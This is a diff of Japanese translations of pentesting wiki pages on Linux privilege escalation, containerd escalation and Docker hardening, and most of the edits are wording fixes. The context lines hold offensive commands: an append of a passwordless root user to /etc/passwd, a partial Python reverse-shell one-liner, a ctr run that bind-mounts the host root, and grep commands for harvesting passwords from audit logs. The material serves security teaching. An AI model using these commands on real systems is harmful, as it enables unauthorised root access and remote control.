Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、区別された単位に分割されます**。これらの単位は、プロセスに独立して付与することができます。この方法により、権限の完全なセットが削減され、悪用のリスクが低下します。\
**capabilitiesとそれを悪用する方法について詳しく学ぶには、以下のページをお読みください**
{{#ref}}
linux-capabilities.md
@ -1057,12 +1061,12 @@ linux-capabilities.md
## Directory permissions
ディレクトリ内で、**"execute"のビット**は、影響を受けるユーザーがフォルダに**"cd"**できることを示します。\
ディレクトリ内で、**"execute"のビット**は、影響を受けるユーザーが**"cd"**でフォルダに入ることができることを示します。\
**"read"**ビットは、ユーザーが**ファイルをリスト**できることを示し、**"write"**ビットは、ユーザーが**ファイルを削除**および**新しいファイルを作成**できることを示します。
## ACLs
アクセス制御リストACLは、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスをより制御します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。
アクセス制御リストACLは、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。
**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与えます**
```bash
@ -1097,7 +1101,7 @@ screen -x [user]/[session id]
```
## tmux セッションのハイジャック
これは **古い tmux バージョン** に関する問題でした。特権ユーザーとして root によって作成された tmux (v2.1) セッションをハイジャックすることはできませんでした。
これは **古い tmux バージョン** に関する問題でした。特権のないユーザーとして root によって作成された tmux (v2.1) セッションをハイジャックすることはできませんでした。
**tmux セッションのリスト**
```bash
@ -1124,7 +1128,7 @@ Check **Valentine box from HTB** for an example.
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
DebianベースのシステムUbuntu、Kubuntuなどで2006年9月から2008年5月13日までに生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\
このバグは、これらのOSで新しいsshキーを作成する際に発生します。**可能な変種は32,768通りのみ**です。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
このバグは、これらのOSで新しいsshキーを作成する際に発生します。**可能な変種は32,768通りのみでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interesting configuration values
@ -1134,7 +1138,7 @@ DebianベースのシステムUbuntu、Kubuntuなどで2006年9月から20
### PermitRootLogin
rootがsshを使用してログインできるかどうかを指定します。デフォルトは`no`です。可能な値
rootがsshを使用してログインできるかどうかを指定します。デフォルトは`no`です。可能な値:
- `yes`: rootはパスワードと秘密鍵を使用してログインできます
- `without-password`または`prohibit-password`: rootは秘密鍵のみでログインできます
@ -1143,15 +1147,15 @@ rootがsshを使用してログインできるかどうかを指定します。
### AuthorizedKeysFile
ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**`/`で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば
ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**`/`で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
その設定は、ユーザー "**testusername**" の **private** キーでログインしようとすると、ssh があなたのキーの公開キー`/home/testusername/.ssh/authorized_keys``/home/testusername/access` にあるものと比較することを示します。
その設定は、ユーザー "**testusername**" の **private** キーでログインしようとすると、ssh があなたのキーの公開`/home/testusername/.ssh/authorized_keys``/home/testusername/access` にあるものと比較することを示します。
### ForwardAgent/AllowAgentForwarding
SSH エージェントフォワーディングを使用すると、**サーバーに置いておくことなく**(パスフレーズなしの)**ローカルの SSH キーを使用**できます。これにより、ssh **を介してホストに** **ジャンプ**し、そこから **別の** ホストに **ジャンプ** **することができます** **初期ホスト** にある **キー** を使用して
SSH エージェントフォワーディングを使用すると、**サーバーに鍵を置かずに**(パスフレーズなしで!)**ローカルの SSH 鍵を使用する**ことができます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプする**ことができ、**初期ホスト**にある **キー**を使用します
このオプションを `$HOME/.ssh.config` に次のように設定する必要があります:
```
@ -1208,7 +1212,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
これで `hacker:hacker``su` コマンドを使用できます。
また、パスワードなしダミーユーザーを追加するには、次の行を使用できます。\
また、パスワードなしダミーユーザーを追加するには、次の行を使用できます。\
警告: 現在のマシンのセキュリティが低下する可能性があります。
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
@ -1231,7 +1235,7 @@ Group=root
### フォルダの確認
以下のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最後のものはおそらく読み取れませんが、試してみてください)
以下のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最後のものはおそらく読み取れないでしょうが、試してみてください)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
@ -1256,7 +1260,7 @@ done
```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
```
### Sqlite DB ファイル
### Sqlite DBファイル
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
@ -1287,12 +1291,12 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Known files containing passwords
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\
**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
### Logs
ログを読むことができれば、**その中に興味深い/機密情報を見つけることができるかもしれません**。ログが奇妙であればあるほど、興味深いものになるでしょう(おそらく)。\
また、**「悪い」**構成(バックドア?)の**監査ログ**は、この記事で説明されているように、**監査ログ内にパスワードを記録することを許可するかもしれません**: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
また、**「悪い」**設定(バックドア?)の**監査ログ**は、この記事で説明されているように、**監査ログ内にパスワードを記録することを許可するかもしれません**: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1327,7 +1331,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
```
### Logrotateの悪用
`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用されるディレクトリだけでなく、_var/log_内の権限も確認することが重要です。
`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用される任意のディレクトリだけでなく、_ /var/log _内の権限も確認することが重要です。
> [!TIP]
> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前のバージョンに影響します。
@ -1356,28 +1360,31 @@ DEVICE=eth0
```
### **init, init.d, systemd, and rc.d**
ディレクトリ `/etc/init.d`**System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start``stop``restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、`/etc/rc?.d/` に見られるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。
ディレクトリ `/etc/init.d`**System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start``stop``restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、 `/etc/rc?.d/` にあるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。
一方、`/etc/init`**Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定と共に互換性レイヤーのために引き続き利用されています。
一方、 `/etc/init`**Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定と共に利用され続けており、Upstartには互換性レイヤーがあります。
**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用`/usr/lib/systemd/` と管理者の変更用の `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。
**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用`/usr/lib/systemd/` に、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。
## Other Tricks
### NFS Privilege escalation
{{#ref}}
nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
### Escaping from restricted Shells
{{#ref}}
escaping-from-limited-bash.md
{{#endref}}
### Cisco - vmanage
{{#ref}}
cisco-vmanage.md
{{#endref}}
@ -1393,9 +1400,9 @@ cisco-vmanage.md
## Linux/Unix Privesc Tools
### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **Linuxのローカル特権昇格ベクターを探すための最良のツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-tオプション)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
@ -1403,8 +1410,8 @@ cisco-vmanage.md
**Kernelpop:** LinuxとMACのカーネル脆弱性を列挙 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
**EvilAbigail (物理アクセス):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**その他のスクリプトの収集**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## References
@ -1426,9 +1433,11 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
## Android rooting frameworks: manager-channel abuse
Androidルーティングフレームワークは、特権のあるカーネル機能をユーザースペースのマネージャに公開するために、一般的にシステムコールをフックします。弱いマネージャ認証FD順に基づく署名チェックや不十分なパスワードスキームは、ローカルアプリがマネージャを偽装し、すでにルート化されたデバイスでルート権限を昇格させることを可能にします。詳細とエクスプロイトの詳細については、こちらをご覧ください
Androidルーティングフレームワークは、特権のあるカーネル機能をユーザースペースのマネージャに公開するために、一般的にシステムコールをフックします。弱いマネージャ認証FD順序に基づく署名チェックや不十分なパスワードスキームは、ローカルアプリがマネージャを偽装し、すでにルート化されたデバイスでルートに昇格することを可能にします。詳細とエクスプロイトの詳細については、こちらをご覧ください:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

View File

@ -4,7 +4,8 @@
## 基本情報
**containerd** と `ctr` について学ぶには、以下のリンクにアクセスしてください:
**containerd** と `ctr` について学ぶには、以下のリンクにアクセスしてください:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -12,7 +13,7 @@
## PE 1
ホストに `ctr` コマンドが含まれていることがわかった場合
ホストに `ctr` コマンドが含まれていることがわかった場合:
```bash
which ctr
/usr/bin/ctr
@ -35,7 +36,7 @@ ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:late
```bash
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
```
次に、**特権機能を悪用してそから脱出する**ために、以下のページに記載されているいくつかの技術を使用できます:
次に、**特権機能を悪用してそから脱出する**ために、以下のページに記載されているいくつかの技術を使用できます:
{{#ref}}
docker-security/

View File

@ -10,14 +10,14 @@
### Dockerエンジンへの安全なアクセス
Dockerエンジンには、Unixソケットを介してローカルアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するために、HTTPSと**TLS**を使用することが重要です。
Dockerエンジンには、Unixソケットを介してローカルアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するために、HTTPSと**TLS**を使用することが重要です。
Dockerエンジンは、デフォルトで`unix:///var/run/docker.sock`のUnixソケットでリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、次の設定を追加してDockerデーモンをHTTPソケット経由で公開します
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
しかし、セキュリティ上の懸念から、HTTP経由でDockerデーモンを公開することは推奨されません。HTTPSを使用して接続を保護することをお勧めします。接続を保護するための主なアプローチは2つあります
しかし、HTTP経由でDockerデーモンを公開することはセキュリティ上の懸念から推奨されません。HTTPSを使用して接続を保護することが望ましいです。接続を保護するための主なアプローチは2つあります
1. クライアントがサーバーのアイデンティティを確認します。
2. クライアントとサーバーが互いのアイデンティティを相互認証します。
@ -30,17 +30,17 @@ sudo service docker restart
- [**Docker Hub**](https://hub.docker.com): Dockerのパブリックレジストリサービス。
- [**Docker Registry**](https://github.com/docker/distribution): ユーザーが自分のレジストリをホストできるオープンソースプロジェクト。
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を特徴とするDockerの商用レジストリ提供
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を特徴とするDockerの商用レジストリオファリング
### イメージスキャン
コンテナは、ベースイメージのため、またはベースイメージの上にインストールされたソフトウェアのために**セキュリティ脆弱性**を持つ可能性があります。Dockerは、コンテナのセキュリティスキャンを行い、脆弱性をリストする**Nautilus**というプロジェクトに取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較することで、セキュリティホールを特定します。
コンテナは、ベースイメージのため、またはベースイメージの上にインストールされたソフトウェアのために**セキュリティ脆弱性**を持つ可能性があります。Dockerは、コンテナのセキュリティスキャンを行い、脆弱性をリストアップする**Nautilus**というプロジェクトに取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較することによってセキュリティホールを特定します。
詳細については、[**こちらをお読みください**](https://docs.docker.com/engine/scan/)。
- **`docker scan`**
**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、hello-worldイメージをスキャンするには、次のコマンドを実行します:
**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、次のコマンドを実行してhello-worldイメージをスキャンします
```bash
docker scan hello-world
@ -68,11 +68,11 @@ snyk container test <image> --json-file-output=<output file> --severity-threshol
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Dockerイメージ署名
### Docker Image Signing
Dockerイメージ署名は、コンテナで使用されるイメージのセキュリティと整合性を確保します。以下は簡潔な説明です
Dockerイメージ署名は、コンテナで使用されるイメージのセキュリティと整合性を確保します。以下は簡潔な説明です:
- **Docker Content Trust** は、Notaryプロジェクトを利用し、The Update Framework (TUF) に基づいてイメージ署名を管理します。詳細については [Notary](https://github.com/docker/notary) と [TUF](https://theupdateframework.github.io) を参照してください。
- **Docker Content Trust** は、Notaryプロジェクトを利用し、The Update Framework (TUF) に基づいてイメージ署名を管理します。詳細については [Notary](https://github.com/docker/notary) と [TUF](https://theupdateframework.github.io) を参照してください。
- Dockerコンテンツトラストを有効にするには、`export DOCKER_CONTENT_TRUST=1` を設定します。この機能は、Dockerバージョン1.10以降ではデフォルトでオフになっています。
- この機能が有効な場合、署名されたイメージのみがダウンロードできます。最初のイメージプッシュには、ルートおよびタグ付けキーのパスフレーズを設定する必要があり、Dockerはセキュリティを強化するためにYubikeyもサポートしています。詳細は [こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) で確認できます。
- コンテンツトラストが有効な状態で署名されていないイメージをプルしようとすると、「No trust data for latest」というエラーが発生します。
@ -92,46 +92,46 @@ Dockerホストを切り替える際は、操作を維持するためにルー
**主なプロセス隔離機能**
コンテナ化された環境では、プロジェクトとそのプロセスを隔離することがセキュリティとリソース管理のために重要です。以下は主要な概念の簡略化された説明です:
コンテナ化された環境では、プロジェクトとそのプロセスを隔離することがセキュリティとリソース管理のために極めて重要です。以下は主要な概念の簡略化された説明です:
**ネームスペース**
- **目的**: プロセス、ネットワーク、ファイルシステムなどのリソースの隔離を確保します。特にDockerでは、ネームスペースがコンテナのプロセスをホストや他のコンテナから分離します。
- **`unshare`の使用**: `unshare`コマンドまたは基盤となるシステムコールは、新しいネームスペースを作成するために利用され、追加の隔離層を提供します。ただし、Kubernetesはこれを本質的にブロックしませんが、Dockerはブロックします。
- **制限**: 新しいネームスペースを作成しても、プロセスがホストのデフォルトネームスペースに戻ることはできません。ホストネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリへのアクセスが必要で、`nsenter`を使用して入ります。
- **制限**: 新しいネームスペースを作成することは、プロセスがホストのデフォルトネームスペースに戻ることを許可しません。ホストネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリへのアクセスが必要で、`nsenter`を使用して入ります。
**コントロールグループCGroups**
**コントロールグループ (CGroups)**
- **機能**: 主にプロセス間でリソースを割り当てるために使用されます。
- **セキュリティの側面**: CGroups自体は隔離セキュリティを提供しませんが、`release_agent`機能が誤って設定されると、無許可のアクセスに悪用される可能性があります。
**能力の削除**
**能力のドロップ**
- **重要性**: プロセス隔離のための重要なセキュリティ機能です。
- **機能**: 特定の能力を削除することで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な能力が欠けていると、特権アクションを実行できず、システムコールは権限不足のため失敗します。
- **機能**: 特定の能力をドロップすることで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な能力が欠けていると、特権アクションを実行できず、システムコールは権限不足のため失敗します。
これがプロセスが他の能力を削除した後の**残りの能力**です:
これがプロセスが他の能力をドロップした後の**残りの能力**です:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
Dockerではデフォルトで有効になっています。これは、プロセスが呼び出すことができる**syscallsをさらに制限する**のに役立ちます。\
デフォルトでDockerに有効になっています。これは、プロセスが呼び出すことができる**syscallsをさらに制限する**のに役立ちます。\
**デフォルトのDocker Seccompプロファイル**は[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。
**AppArmor**
Dockerには有効化できるテンプレートがあります:[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Dockerには、アクティブ化できるテンプレートがあります:[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
これにより、能力、syscalls、ファイルやフォルダへのアクセスを減らすことができます...
これにより、機能、syscalls、ファイルおよびフォルダへのアクセスを制限することができます...
</details>
### Namespaces
**Namespaces**はLinuxカーネルの機能で、**カーネルリソースを分割**し、あるセットの**プロセス**があるセットの**リソース**を**見る**一方で、**別の**セットの**プロセス**が**異なる**セットのリソースを見ることができます。この機能は、リソースとプロセスのセットに同じnamespaceを持たせることによって機能しますが、それらのnamespaceは異なるリソースを指します。リソースは複数の空間に存在することがあります。
**Namespaces**はLinuxカーネルの機能で、**カーネルリソースを分割**し、あるセットの**プロセス**があるセットの**リソース**を**見る**一方で、**別の**セットの**プロセス**が**異なる**セットのリソースを見ることができるようにします。この機能は、リソースとプロセスのセットに同じnamespaceを持たせることによって機能しますが、それらのnamespaceは異なるリソースを指します。リソースは複数の空間に存在することがあります。
Dockerは、コンテナの離を実現するために以下のLinuxカーネルNamespacesを利用しています
Dockerは、コンテナの離を実現するために以下のLinuxカーネルNamespacesを利用しています
- pid namespace
- mount namespace
@ -139,7 +139,7 @@ Dockerは、コンテナの隔離を実現するために以下のLinuxカーネ
- ipc namespace
- UTS namespace
**Namespacesに関する詳細情報**は以下のページを確認してください:
**namespacesに関する詳細情報**は、以下のページを確認してください:
{{#ref}}
namespaces/
@ -147,8 +147,8 @@ namespaces/
### cgroups
Linuxカーネルの機能**cgroups**は、**cpu、memory、io、network bandwidthなどのリソースを制限する**能力を提供します。Dockerは、特定のコンテナのリソース制御を可能にするcgroup機能を使用してコンテナを作成できます。\
以下は、ユーザースペースのメモリが500mに制限され、カーネルメモリが50mに制限され、cpuシェアが512、blkioweightが400に設定されたコンテナです。CPUシェアはコンテナのCPU使用量を制御する比率です。デフォルト値は1024で、範囲は0から1024です。3つのコンテナが同じCPUシェア1024を持つ場合、各コンテナはCPUリソースの競合が発生した場合に最大33%のCPUを使用できます。blkio-weightはコンテナのIOを制御する比率です。デフォルト値は500で、範囲は10から1000です。
Linuxカーネルの機能**cgroups**は、**cpu、memory、io、network bandwidthなどのリソースを制限する**能力を提供します。Dockerは、特定のコンテナのリソース制御を可能にするcgroup機能を使用してコンテナを作成することを許可します。\
以下は、ユーザースペースのメモリが500mに制限され、カーネルメモリが50mに制限され、cpuシェアが512、blkioweightが400に設定されたコンテナです。CPUシェアはコンテナのCPU使用量を制御する比率です。デフォルト値は1024で、範囲は0から1024です。3つのコンテナが同じCPUシェア1024を持つ場合、各コンテナはCPUリソースの競合が発生した場合に最大33%のCPUを使用できます。blkio-weightはコンテナのIOを制御する比率です。デフォルト値は500で、範囲は10から1000です。
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -158,13 +158,15 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
詳細については、次を確認してください:
{{#ref}}
cgroups.md
{{#endref}}
### Capabilities
Capabilitiesは、**rootユーザーに許可される能力をより細かく制御する**ことを可能にします。DockerはLinuxカーネルの能力機能を使用して、**ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します**。
Capabilitiesは、**rootユーザーに許可される能力をより細かく制御する**ことを可能にします。Dockerは、**ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限するためにLinuxカーネルの能力機能を使用します**。
Dockerコンテナが実行されると、**プロセスは隔離から脱出するために使用できる敏感な能力を放棄します**。これは、プロセスが敏感なアクションを実行し、脱出できないことを保証しようとします:
@ -182,7 +184,7 @@ seccomp.md
### AppArmor in Docker
**AppArmor**は、**コンテナ**を**限られた**リソースの**セット**に制限するためのカーネル拡張です。**プログラムごとのプロファイル**を持っています
**AppArmor**は、**コンテナ**を**限られた**リソースの**セット**に制限するためのカーネル拡張です。**プログラムごとのプロファイル**を持っています
{{#ref}}
apparmor.md
@ -191,7 +193,7 @@ apparmor.md
### SELinux in Docker
- **ラベリングシステム**: SELinuxは、すべてのプロセスとファイルシステムオブジェクトに一意のラベルを割り当てます。
- **ポリシーの強制**: プロセスラベルがシステム内の他のラベルに対してどのようなアクションを実行できるかを定義するセキュリティポリシーを強制します。
- **ポリシーの強制**: プロセスラベルがシステム内の他のラベルに対してどのアクションを実行できるかを定義するセキュリティポリシーを強制します。
- **コンテナプロセスラベル**: コンテナエンジンがコンテナプロセスを開始するとき、通常は制限されたSELinuxラベル、一般的に`container_t`が割り当てられます。
- **コンテナ内のファイルラベリング**: コンテナ内のファイルは通常`container_file_t`としてラベル付けされます。
- **ポリシールール**: SELinuxポリシーは、`container_t`ラベルを持つプロセスが`container_file_t`としてラベル付けされたファイルとのみ相互作用(読み取り、書き込み、実行)できることを主に保証します。
@ -206,7 +208,7 @@ apparmor.md
Dockerでは、認可プラグインがセキュリティにおいて重要な役割を果たし、Dockerデーモンへのリクエストを許可またはブロックするかを決定します。この決定は、2つの重要なコンテキストを調べることによって行われます
- **認証コンテキスト**: これには、ユーザーが誰であるか、どのように認証されたかなど、ユーザーに関する包括的な情報が含まれます。
- **認証コンテキスト**: これには、ユーザーが誰であるか、どのように認証されたかに関する包括的な情報が含まれます。
- **コマンドコンテキスト**: これには、行われているリクエストに関連するすべての重要なデータが含まれます。
これらのコンテキストは、認証されたユーザーからの正当なリクエストのみが処理されることを保証し、Docker操作のセキュリティを強化します。
@ -215,7 +217,7 @@ Dockerでは、認可プラグインがセキュリティにおいて重要な
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## DoS from a container
## コンテナからのDoS
コンテナが使用できるリソースを適切に制限していない場合、侵害されたコンテナが実行されているホストにDoSを引き起こす可能性があります。
@ -245,9 +247,9 @@ docker-privileged.md
#### no-new-privileges
攻撃者が低い権限のユーザーとしてアクセスを得ることができるコンテナを実行している場合、**誤って設定されたsuidバイナリ**があると、攻撃者はそれを悪用して**コンテナ内で権限を昇格させる**可能性があります。これにより、彼はコンテナから脱出できるかもしれません。
攻撃者が低特権ユーザーとしてアクセスを得ることができるコンテナを実行している場合、**誤って設定されたsuidバイナリ**があると、攻撃者はそれを悪用し、**コンテナ内で特権を昇格させる**可能性があります。これにより、彼はコンテナから脱出できるかもしれません。
**`no-new-privileges`**オプションを有効にしてコンテナを実行すると、この種の権昇格を**防ぐことができます**。
**`no-new-privileges`**オプションを有効にしてコンテナを実行すると、この種の権昇格を**防ぐことができます**。
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@ -274,9 +276,9 @@ For more **`--security-opt`** options check: [https://docs.docker.com/engine/ref
シークレットをDockerイメージに直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect``exec`のようなコマンドを通じてコンテナにアクセスできる誰にでも機密情報を露出させてしまいます。
**Dockerボリューム**は、機密情報にアクセスするためのより安全な代替手段です。これらはメモリ内の一時ファイルシステムとして利用でき、`docker inspect`やログに関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの`exec`アクセスを持つ者は、依然としてシークレットにアクセスできる可能性があります。
**Dockerボリューム**は、機密情報にアクセスするためのより安全な代替手段です。これらはメモリ内の一時ファイルシステムとして利用でき、`docker inspect`やログに関連するリスクを軽減します。ただし、rootユーザーやコンテナへの`exec`アクセスを持つユーザーは、依然としてシークレットにアクセスできる可能性があります。
**Dockerシークレット**は、機密情報を扱うためのさらに安全な方法を提供します。イメージビルドフェーズ中にシークレットが必要なインスタンスの場合、**BuildKit**はビルド時のシークレットをサポートし、ビルド速度を向上させ、追加機能を提供する効率的なソリューションを提供します。
